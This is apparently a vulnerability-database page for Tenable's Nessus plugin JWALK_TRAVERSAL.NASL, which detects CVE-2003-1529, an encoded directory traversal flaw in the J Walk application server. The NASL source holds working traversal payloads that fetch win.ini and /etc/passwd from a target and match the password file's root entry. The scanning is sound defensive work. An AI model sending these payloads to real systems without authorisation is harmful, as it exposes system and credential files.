Lucene search

K
nessusThis script is Copyright (C) 2003-2022 and is owned by Tenable, Inc. or an Affiliate thereof.JWALK_TRAVERSAL.NASL
HistoryMar 25, 2003 - 12:00 a.m.

J Walk Application Server Encoded Directory Traversal Arbitrary File Access

2003-03-2500:00:00
This script is Copyright (C) 2003-2022 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
213

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.006 Low

EPSS

Percentile

78.6%

The version of J Walk running on the remote host has a directory traversal vulnerability. It is possible to read arbitrary files by prepending ‘.%252e/.%2523’ to a filename. A remote attacker could exploit this to read sensitive information that might be used to mount further attacks.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(11467);
  script_version("1.24");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2003-1529");
  script_bugtraq_id(7160);
  script_xref(name:"SECUNIA", value:"8411");

  script_name(english:"J Walk Application Server Encoded Directory Traversal Arbitrary File Access");

  script_set_attribute(attribute:"synopsis", value:
"A web application on the remote host has a directory traversal
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of J Walk running on the remote host has a directory
traversal vulnerability.  It is possible to read arbitrary files
by prepending '.%252e/.%2523' to a filename.  A remote attacker could
exploit this to read sensitive information that might be used to
mount further attacks.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2003/Mar/348");
  script_set_attribute(attribute:"solution", value:
"Upgrade to J Walk 3.3c4 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2003-1529");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(22);

  script_set_attribute(attribute:"vuln_publication_date", value:"2003/03/20");
  script_set_attribute(attribute:"plugin_publication_date", value:"2003/03/25");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:seagull_software_systems:j_walk_application_server");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2003-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "find_service1.nasl", "no404.nasl", "httpver.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}

#
# The script code starts here
#
include('global_settings.inc');
include('misc_func.inc');
include('http.inc');

port = get_http_port(default:80);

i=0;
r[i] = "/.%252e/.%252e/.%252e/.%252e/windows/win.ini";	i=i+1;
r[i] = "/.%252e/.%252e/.%252e/.%252e/winnt/win.ini";	i=i+1;


for (i=0; r[i]; i=i+1)
{
  if (check_win_dir_trav(port: port, url: r[i]))
  {
    security_warning(port);
    exit(0);
  }
}


url = "/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd";
rc = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail: 1);

if(egrep(pattern:"root:.*:0:[01]:", string:rc[2]))
{
  security_warning(port);
  exit(0);
}
VendorProductVersionCPE
seagull_software_systemsj_walk_application_servercpe:/a:seagull_software_systems:j_walk_application_server

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.006 Low

EPSS

Percentile

78.6%

Related for JWALK_TRAVERSAL.NASL